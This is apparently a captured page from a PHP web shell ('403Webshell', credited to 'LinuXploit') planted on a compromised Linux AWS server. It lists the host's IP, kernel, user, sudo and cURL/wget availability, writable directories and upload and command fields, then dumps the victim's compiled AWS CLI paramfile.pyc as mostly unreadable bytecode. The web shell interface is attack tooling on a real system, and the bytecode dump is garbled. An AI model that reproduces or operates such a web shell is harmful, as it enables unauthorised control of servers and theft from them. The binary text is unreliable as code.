403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/usr/lib/python3.9/site-packages/awscli/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/lib/python3.9/site-packages/awscli/__pycache__/paramfile.cpython-39.pyc
a

wA�i��@s�ddlZddlZddlZddlmZddlmZe�e�Z	Gdd�de
�Zdd�ZGdd	�d	�Z
d
d�Zdd
�Zeddifeddifd�ZdS)�N)�
argprocess)�compat_openc@seZdZdS)�ResourceLoadingErrorN)�__name__�
__module__�__qualname__�rr�4/usr/lib/python3.9/site-packages/awscli/paramfile.pyrsrcKs"t�t�}t|�}|�d|�dS)Nzload-cli-arg)�copyZdeepcopy�LOCAL_PREFIX_MAP�URIArgumentHandler�register)Zsession�kwargsZ
prefix_mapZhandlerrrr	�register_uri_param_handlers
rc@seZdZdd�Zdd�ZdS)rcCs
||_dS)N)�	_prefixes)�self�prefixesrrr	�__init__"szURIArgumentHandler.__init__c
Ksht|t�rt|�dkr|d}zt||j�WStyb}zt�|jt	|���WYd}~n
d}~00dS)z4Handler that supports param values from local files.�rN)
�
isinstance�list�len�
get_paramfilerrrZ
ParamErrorZcli_name�str)rZ
event_nameZparam�valuer�errr	�__call__%szURIArgumentHandler.__call__N)rrrrrrrrr	r!srcCsHd}t|t�rD|��D],\}}|�|�r|\}}|||fi|��}q|S)aLLoad parameter based on a resource URI.

    It is possible to pass parameters to operations by referring
    to files or URI's.  If such a reference is detected, this
    function attempts to retrieve the data from the file or URI
    and returns it.  If there are any errors or if the ``path``
    does not appear to refer to a file or URI, a ``None`` is
    returned.

    :type path: str
    :param path: The resource URI, e.g. file://foo.txt.  This value
        may also be a non resource URI, in which case ``None`` is returned.

    :type cases: dict
    :param cases: A dictionary of URI prefixes to function mappings
        that a parameter is checked against.

    :return: The loaded value associated with the resource URI.
        If the provided ``path`` is not a resource URI, then a
        value of ``None`` is returned.

    N)rr�items�
startswith)�pathZcases�data�prefixZ
function_specZfunctionrrrr	r/s

rc
Cs�tj�tj�|t|�d���}z8t||��}|��Wd�WS1sL0YWnPtyvtd|��Yn4t	y�}ztd||f��WYd}~n
d}~00dS)Nz�Unable to load paramfile (%s), text contents could not be decoded.  If this is a binary file, please use the fileb:// prefix instead of the file:// prefix.zUnable to load paramfile %s: %s)
�osr�
expandvars�
expanduserrr�read�UnicodeDecodeErrorr�OSError)r!r�modeZ	file_path�frrrr	�get_fileOs ,��
�r*r(�r�rb)zfile://zfileb://)r
Zloggingr"ZawsclirZ
awscli.compatrZ	getLoggerrZlogger�	Exceptionrrrrr*rrrrr	�<module>
s
 

�

Youez - 2016 - github.com/yon3zu
LinuXploit